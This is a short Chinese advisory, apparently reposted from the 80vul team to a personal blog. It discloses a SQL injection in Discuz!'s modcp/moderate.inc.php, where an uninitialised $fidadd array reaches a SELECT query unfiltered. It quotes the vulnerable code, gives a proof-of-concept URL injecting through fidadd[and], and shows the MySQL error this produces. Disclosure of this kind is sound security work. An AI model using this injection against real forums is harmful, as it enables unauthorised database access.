鬼仔's Blog

由于Discuz!的modcp/moderate.inc.php里$fidadd数组变量没有初始化导致sql注射bug
author: 80vul-B
team:http://www.80vul.com

一 分析

在文件modcp\moderate.inc.php里代码:

	require_once DISCUZ_ROOT.'./include/discuzcode.func.php';
	require_once DISCUZ_ROOT.'./include/attachment.func.php';

	$ppp = 10;
	$page = max(1, intval($page));
	$start_limit = ($page - 1) * $ppp;
	$modcount = $db->result_first("SELECT COUNT(*) FROM {$tablepre}posts WHERE invisible='$pstat' AND first='0' $fidadd[and]$fidadd[fids]");
	$multipage = multi($modcount, $ppp, $page, "admincp.php?action=modreplies&filter=$filter&fid=$fid");

$fidadd在moderate.inc.php没有初始化也没有过滤直接在数据库里进行select操作,导致可以进行sql注射攻击.
[这个文件访问需要斑主权限 :)]

二 利用

poc:
http://www.80vul.com/bbs/modcp.php?action=moderate&op=replies&fid=2&fidadd[and]=1

Discuz! info: MySQL Query Error

User: admin
Time: 2008-11-3 10:51am
Script: /bbs/modcp.php

SQL: SELECT COUNT(*) FROM [Table]posts WHERE invisible=’-2′ AND first=’0′ 1
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘1’ at line 1
Errno.: 1064

三 补丁[fix]

等待官方补丁.